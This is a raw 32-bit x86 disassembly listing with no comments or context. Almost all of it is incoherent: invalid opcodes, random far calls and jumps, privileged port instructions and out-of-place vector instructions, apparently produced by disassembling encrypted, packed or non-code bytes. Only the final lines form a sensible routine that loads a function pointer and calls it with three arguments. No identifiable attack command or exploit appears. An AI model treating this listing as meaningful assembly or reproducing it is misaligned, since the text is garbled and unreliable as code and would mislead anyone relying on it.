ljmp 0x5c30
ret
jp 0x6e4d544a
and byte [esi + 0x34], cl
mov ecx, 0x39651b53
pushal
insb byte es:[edi], dx
push cs
salc
fucomi st(4)
in al, 0x6f
xor eax, 0x639bb366
pop ecx
ljmp 0x398
or byte [ebx + ebp*8], dh
test al, 0xc
pop ebp
mov dh, 0x3f
wait
dec ebp
mov ah, 0xdb
outsb dx, byte [esi]
pop es
jl 0x6e4d5497
mov dword [ecx + 0x10], esi
add eax, 0x2202fcc0
inc ebp
loope 0x6e4d5508
std
push edi
add eax, 0x23caf037
xchg edx, ecx
xor ah, 0x59
in eax, dx
push ds
lcall 0xf03f, 0xbc163746
cwde
xor ecx, esi
mov edx, 0xcc2ec15a
pop esp
mov bh, 0x88
invalid
or dl, byte [ebp + 0x24]
lcall 0x4674, 0x79fc4673
xchg ebp, eax
adc eax, 0xfe71cf3a
mov esi, 0x335570f4
add ah, byte [edi + 0x6f]
adc dword [edx], esp
jnp 0x6e4d5557
xor ch, byte [eax]
call 0x26358ec1
out 0xcb, al
pop es
invalid
add ecx, dword [ebx + 0x71]
dec edx
movsd dword es:[edi], dword [esi]
popfd
invalid
xor bh, bl
add bl, ah
inc esi
sbb edx, esi
sbb eax, 0xd1d560a8
retf 0x6274
push eax
fist word [esi - 0x196281e2]
mov ch, byte [ebx]
push cs
xor al, 0xd6
test byte [edi + eax*4 - 0x421005c0], ch
outsd dx, dword [esi]
sbb al, 0x37
stosb byte es:[edi], al
mov word [si + 0x4725], cs
pop ss
std
retf
cmpsd dword [esi], dword es:[edi]
xor dword [edi], edi
mov ecx, 0xa202086c
and dh, byte [ebx - 0x7f514ef4]
cmp dword [eax - 0x27f3d26a], 0x76
push ebp
jl 0x6e4d9b6b
nop
or eax, 0x96f59cf5
imul esp, dword [ebx + 0xf6b34da], 0x43
or bh, dh
das
mov bh, al
adc bl, byte [ebx + edx*8 - 0x64110e0c]
pushfd
sal esp, cl
int1
out dx, al
wait
outsd dx, dword [esi]
jae 0x6e4d9b5d
rcl byte [ebp - 0x5e], cl
je 0x6e4d9b52
mov byte [0xa24ef274], al
fdiv dword [esi + 0x788c58e4]
jge 0x6e4d9bdb
dec esi
mov byte [0x58e4b6d8], al
invalid
aaa
test byte [ecx - 0x62], 0xe6
mov ch, 0xeb
invalid
mov byte gs:[esi + 0xe849597], cl
lodsb al, byte [esi]
jne 0x6e4d9bf9
daa
add dword [0x6fe2395a], edx
test al, 0x30
jmp 0x3997c3e7
or ebx, dword [ebx - 0x6faf9e21]
fsub qword [ecx]
mov cl, byte [esi]
cmpsd dword [esi], dword es:[edi]
sub byte [edi + 0x48fd87c1], ch
jmp 0x7e2a5e8a
or eax, 0xba222747
fisubr word [edi - 0x384a9ca6]
loop 0x6e4db2b7
pushal
cmp byte [ebx - 0x6a18b54], al
pop edx
movsd dword es:[edi], dword [esi]
pop ecx
xor dword [eax], esp
invalid
or edi, ebx
shl byte [edx], cl
sub byte [edx], dh
int3
xchg edx, eax
neg byte [ebx + 0x12]
test dword [ebx + eax*8 - 0x35], 0x2cd566d9
dec esp
push cs
jmp 0x4f0eb4fb
and byte [edx + edi*8], cl
lcall 0x5fae, 0x5bac9c8f
scasb al, byte es:[edi]
pop edi
rcl edi, 0xbc
pop edi
adc ebp, dword [esi]
loope 0x6e4df918
lodsd eax, dword [esi]
ffreep st(4)
cmp ebx, dword [ecx]
or ebp, dword [ecx + edx*2 + 0x27]
popal
sbb byte [esi], bl
pop edi
mov bh, 0xb5
jb 0x6e4df8a5
ljmp 0x9ebd:0xd859a8b2
mov bh, 0xdc
push esp
loop 0x6e4df958
mov al, 6
dec eax
arpl word [ebp - 0x51dff73f], bx
popfd
ror dword [eax], 0x20
scasb al, byte es:[edi]
in al, 0xd
mov eax, dword [0x203de38c]
fsub qword [esi + 0x12]
dec esp
wait
and eax, 0x7dd3910c
jmp 0x6e4df8ad
jecxz 0x6e4df957
and ah, bl
adc cl, byte [ebx + ebx*4 + 0x25]
or al, 0x91
sar dword [ebp - 0x15], cl
xchg ch, bl
js 0x6e4df990
dec esi
sbb eax, 0xd61ec63d
xchg ebx, eax
dec ah
and dword [eax - 0x484ecbda], ebp
push esi
jg 0x6e4df948
clc
adc al, 0x53
mov esi, 0x1f161206
push ebx
invalid
lcall 0x5ef6, 0xa282248a
sti
fsubrp st(3)
inc edi
stosb byte es:[edi], al
xor esi, 0xb57aa491
movsb byte es:[edi], byte [esi]
jp 0x6e4df90f
pop edx
insd dword es:[edi], dx
enter 0xffffffffffffc2ab, 0xffffffffffffffc5
mul dword [ecx + 0x683540cc]
retf
push esp
sub byte [eax], cl
movsd dword es:[edi], dword [esi]
mov eax, dword [0xe0119d1e]
shr byte [esi - 0x5706e26e], cl
jno 0x6e4df9ad
and ebp, ecx
jmp 0x3c6d34b4
aaa
lahf
pop edi
cmpsb byte [esi], byte es:[edi]
int 0x5c
in al, 0x86
out 0x9d, eax
xchg bh, ah
popfd
js 0x6e4df9b4
inc edx
and al, 0xe4
sbb eax, 0x5abee220
and al, 0x13
push ds
pop es
sub esp, esi
xchg ah, al
leave
movsd dword es:[edi], dword [esi]
xchg dword [ebp - 0x37], ebp
xchg ebp, eax
add dword [ebp + 0x5bcc9001], eax
test byte [ebx + 0x29], cl
or al, 0x22
aas
inc ecx
jl 0x6e4dfa59
test esi, ecx
push ss
and esi, dword [esi + 0x13]
inc edi
cmp al, 0xc7
sbb ebx, dword [esi]
invalid
push ecx
mov al, byte [0xc703545]
fiadd dword [ecx + edi*2]
add eax, 0x22238929
jo 0x6e4dfa89
and dh, byte [eax + 0x20]
and byte [eax + 0x73ac8a48], ah
mov al, byte [0x73ac8a48]
adc ebp, dword [ebx + eax*8 - 0x50cc183f]
test eax, 0x5e2379d6
outsd dx, dword [esi]
adc al, 0x1b
cmp dword [ecx], ebx
out 0x21, eax
add al, 0x5a
pop edi
iretd
jbe 0x6e4dfa66
xlatb
sub eax, 0xd9a18aea
jge 0x6e4dfae4
xchg esp, eax
jb 0x6e4dfa68
pop ds
or cl, byte [edi]
adc ah, byte [edi - 0x33cc4a5a]
lahf
lodsd eax, dword [esi]
test eax, 0xa698cc90
cmp eax, 0x57cfd588
invalid
lahf
invalid
dec esi
lahf
invalid
push esp
imul eax, dword [ecx + 0x1d68ca79], 0x1538b0bb
fstpnce st(5), st(0)
xor edi, dword [ecx]
mov eax, 0x3278ef5d
js 0x6e4dfb2a
dec esp
out dx, eax
mov al, 2
mov es, edx
js 0x6e4dfa81
mov eax, edi
cld
jecxz 0x6e4dfaca
mov ebp, 0x6691696b
and edi, 0xc34d027e
add ch, byte [eax]
arpl word [esp + eax*4], di
cmpsb byte [esi], byte es:[edi]
aaa
mov esi, 0x79dd250
psllq mm7, qword [edi + 0x2237a254]
outsd dx, dword [esi]
push eax
cli
xor eax, 0x30cf2ebf
mov ecx, 0x59ce4809
mov edi, 0xb930cf2e
or dword [eax - 0x32], ecx
pop ecx
xor byte [ecx + 0x59ce4809], bh
loop 0x6e4dfacb
push eax
stosd dword es:[edi], eax
shl ah, 0x97
jecxz 0x6e4dfb4a
shl dword [ebp + 0x33], 1
je 0x6e4dfac6
int 0x77
loope 0x6e4dfbbe
jge 0x6e4dfb27
push eax
dec edx
mov edx, 0x77ea85f
jle 0x6e4dfb53
repne lodsb al, byte [esi]
sub byte [edi], al
pop esp
pop ds
cmp eax, 0x1e093b3e
out 0x5c, eax
insd dword es:[edi], dx
jae 0x6e4dfaf6
mov edi, fs
out 0x33, eax
inc ebp
invalid
mov al, byte [0x9546398e]
dec eax
lodsb al, byte [esi]
fnstenv es:[edi + 0x59129c47]
mov bl, 0xb2
inc ebp
out 0xfe, al
adc bl, byte [eax]
or al, 3
jae 0x6e4dfb5a
xchg byte [ecx], cl
sar esi, 1
les ecx, [0x2ccc3150]
cmpsb byte [esi], byte es:[edi]
salc
sti
or eax, 0xf3b99f21
adc al, 0xe9
les eax, [0xb1a19a5]
xchg ebx, eax
sahf
invalid
or eax, 0x64cf8a9a
pop eax
jns 0x6e4e10dc
push ds
popfd
nop
int3
pop esi
loopne 0x6e4e10c8
invalid
add ch, byte [esi - 0x71]
fst qword [ebp - 0x5a]
rcr byte [edi], 1
jno 0x6e4e10df
adc byte [ebp - 0x142530f2], al
invalid
push es
int 0x70
leave
test bh, 0xb4
sub ah, byte [eax + eax*2 + 0x14912e1d]
jp 0x6e4e106d
mov ah, 0x2a
movsb byte es:[edi], byte [esi]
inc eax
sbb eax, 0x7a14912e
test byte [0x2cb5a821], bh
cmp eax, 0x2cb5a821
fnsave dword [esi]
aad 0xee
popal
adc al, 0x59
add al, 0x30
xchg esi, eax
dec ecx
xchg esi, eax
arpl sp, di
fdiv qword [ebx]
pushal
inc edi
and eax, 0xe6212c1b
je 0x6e4e10d6
scasd eax, dword es:[edi]
jns 0x6e4e117a
and eax, ecx
xor dh, al
sub al, 0xa6
mov ch, 0x7b
ror byte [edx], 1
popf
adc ah, byte [eax - 0x4c9ed243]
or ecx, edi
and eax, 0x42582de8
push es
mov al, 0x7a
scasb al, byte es:[edi]
sub esp, ebp
lcall 0x59e3, 0x66803e29
xor bh, 0xd9
pop ss
out dx, eax
sahf
jle 0x6e4e114f
shr dword [edi + 0x1f], 0x30
adc bh, cl
inc ebp
loop 0x6e4e10d8
out dx, al
jbe 0x6e4e1190
js 0x6e4e1182
and byte [ebp + 0x59cc90a1], cl
wait
add al, 9
dec esp
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
dec ebp
mov ebx, 0x5d220033
push esi
xchg dword [eax - 0x12e073ac], eax
sbb dh, bl
jno 0x6e4e11a9
cmp al, 0x45
sahf
inc edx
adc bh, dh
mov bh, 0xc7
les eax, [esi + 0x7a10823b]
jmp 0xd294b446
cmp byte [ecx], dl
sbb al, 0xd
cmp al, 0x55
vfnmadd231ps zmm7 {k2} {z}, zmm5, zmm3, {rd-sae}
push ds
test dword [edx + 0x27], esi
push ebp
mov edx, 0x851efbbc
jb 0x6e4e11b1
sbb byte [eax + 0x7f], 0x11
adc al, 0xd9
cmp byte [ecx + 6], bl
invalid
inc esi
jns 0x6e4e11f8
dec edx
cmp al, 0xba
mov eax, dword [0xbf6d02c0]
sbb eax, 0xc3b92b98
dec edi
xchg edi, eax
mov ecx, 0x972e4fc3
fadd qword [esi + 0x741b4265]
inc ecx
mov al, byte [0x27bf02b9]
push ss
inc edx
sbb esi, dword [ecx + eax*2 - 0x60]
mov ecx, 0x1627bf02
cmpsb byte [esi], byte es:[edi]
pop esi
pop eax
popfd
push esi
xchg edx, eax
stosb byte es:[edi], al
stosd dword es:[edi], eax
jle 0x6e4e119b
push eax
mov al, byte [0x25326c9c]
add bh, dh
leave
jnp 0x6e4e1165
neg dh
push eax
inc esp
ja 0x6e4e11dc
movsb byte es:[edi], byte [esi]
invalid
pop ds
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
mov ah, 0x72
jns 0x6e4e11e6
hlt
sbb eax, 0x7d5f6fee
mov eax, 0xb316fb94
add cl, byte [eax - 0x181392f6]
imul edi, eax, 0x13ebfe96
mov ebp, 0xacc9537e
salc
jp 0x6e4e11df
xchg esi, eax
invalid
outsb dx, byte [esi]
add esp, dword [esi + ebx*2 + 0x4f]
pop ebx
stc
in eax, 0xf6
jbe 0x6e4e119f
pushal
popal
mov dh, 0x6c
lcall 0x90c5, 0x2d6f7b15
int3
adc al, 0xd0
bound ebx, qword [ebp - 0x2c405317]
mov ebx, dword [ebp - 0x4e]
test dword [edi + 0x6b], ebp
and byte [ecx - 0x51092a39], 0xaa
scasb al, byte es:[edi]
test byte [ebx + 0x59d60cfe], al
sub al, byte [ebx + 0x12]
cdq
aad 0x9b
inc ecx
imul ecx, dword [edi + 0x17c042a0], 0x76
ficomp word [esi - 0x12]
mov ecx, 0x5edcd537
cmp byte [ebx], bl
sub ch, byte [ecx]
sbb eax, 0xbea23e53
nop
int3
sub edi, dword [0x6436ea6e]
rcr edi, cl
jo 0x6e4e2826
test byte [ebp - 0x72], bl
mov dword [0x5c54a018], esp
dec esp
xor edi, dword [eax]
push edi
cmc
invalid
test esp, ecx
pop ecx
cmpsd dword [esi], dword es:[edi]
popfd
jns 0x6e4e27b4
leave
inc ecx
mov esi, 0xf3fcf7f1
push 0x60
sub al, 0x46
test edx, edi
sub edx, edi
jge 0x6e4e2828
push 0xffffffffffffffc2
adc al, 0x8f
test byte [eax + esi*2], dh
invalid
test dword [edx + ebx*2], edx
mov esp, 0x80f67c92
or dword [esi - 0x23fcb2ce], ebx
invalid
outsb dx, byte [esi]
invalid
add byte [ecx], dh
idiv dword [edx]
aas
test al, 0x2f
lodsb al, byte [esi]
cwde
sbb edx, dword [eax - 0x48]
cmp ebp, dword [ecx]
jne 0x6e4e56c0
inc ebx
sub ebp, ebp
test byte [ecx + 0x7be714e], 0xec
in eax, 0x74
push edx
mov ebx, dword [ecx]
jp 0x6e4e5681
xchg esi, eax
imul esi, dword [edi + 0x4054dbae], 0xffffffbd
fist word [edi]
sar byte [eax + edi*4 + 0x342ab92b], 1
pop ecx
sub bl, cl
dec ecx
mov edi, 0xc1d78588
jo 0x6e4e5642
cli
xchg edx, eax
add eax, 0xc6db48fb
jb 0x6e4e56f0
invalid
add dh, byte [esi + 0x90b0075]
sbb dword [esi], ecx
add byte [edi - 0x230c19e], ch
dec esi
les ecx, [0x978ee9cc]
push ebp
mov edi, 0x2920a91b
test byte [eax - 0x5bb61634], dl
dec ecx
movsb byte es:[edi], byte [esi]
add byte [eax], al
loope 0x6e4e567d
hlt
out 4, eax
jle 0x6e4e56e2
dec edx
add dh, bl
mov eax, es
wait
sub dh, byte [edx + 0x50a2bfab]
sub edx, eax
arpl word [edx], sp
cmp ecx, dword [edi + 0x2c964262]
shl byte [esi], cl
fsubr st(0), st(0)
inc ebp
jle 0x6e4e56f2
dec edi
cmp al, dh
getsec
test dword [ecx], eax
adc al, 0xb1
or ebp, esi
dec eax
pop ds
mov dword [ebp - 0x41], esp
or al, 0x55
lodsb al, byte [esi]
pop esi
sysret
psraw mm4, 0x93
sar byte [ebx], cl
pop ebx
aad 0x34
in al, dx
popal
out 0x64, al
xchg esp, eax
pop eax
sub dword [edx], edx
xchg edi, eax
xchg ebp, eax
clc
fstp xword [eax + 0x1e]
cld
nop
scasd eax, dword es:[edi]
adc ecx, dword [eax]
into
sahf
add dword [ebx - 0x44], ebp
mov bl, 0xd9
invalid
sahf
outsd dx, dword [esi]
insb byte es:[edi], dx
arpl cx, sp
dec ebx
mov byte [0x3ab7ab3d], al
outsb dx, byte [esi]
xor eax, 0x95c3fe77
push eax
cdq
and al, 3
lodsb al, byte [esi]
dec eax
pop esp
mov ch, 0xf3
mov cl, 0xb2
dec eax
int1
leave
ljmp 0x27e0
inc ebx
cmp dword [edx], ebp
cmp bl, al
mov edi, 0xc016660a
out dx, al
ret 0xc434
xchg ebx, eax
bsr eax, dword [ebp - 0xd5d97d0]
test edi, ebx
dec ecx
sar dword [edx + ebx*8], 0x85
scasd eax, dword es:[edi]
sahf
rcr edi, cl
add eax, 0x54301a34
mov dl, 0x45
sbb byte [ebx - 0x36a4be5b], bh
add byte [edx + 0x6b72e11a], dl
test eax, 0x183398cf
xchg edi, eax
out 0xbf, eax
aaa
das
or byte [esi], bh
jnp 0x6e4eb505
xchg esp, eax
or dword [esi], 0x66
inc ebx
scasd eax, dword es:[edi]
add ecx, edx
adc eax, 0x93c54735
mov bh, 9
invalid
inc edi
lds edx, [ebx - 0x1c9df649]
inc edi
pop ss
jae 0x6e4eb58b
imul ebx, dword [eax - 0x7db109fc], 0x5c50805e
sub al, 0x46
mov dl, 0x22
int3
jo 0x6e4eb601
adc ebp, ebx
aaa
or eax, 0xcc90b999
sub ch, byte [esi]
dec edx
sbb eax, esp
or ebp, esi
cmpsb byte [esi], byte es:[edi]
invalid
sub dh, byte [ecx - 0x2d]
pop esi
cli
insb byte es:[edi], dx
invalid
sysret
and byte [ecx], ah
mov bh, 0x78
xchg eax, edi
mov edx, 0x61f0e6ad
sub ah, cl
retf
nop
jmp 0x6e4efb2f
nop
mov eax, dword [0x6e93d038]
mov edx, dword [0x6e93d024]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], edx
call eax
sub esp, 0xc
nop
leave
ret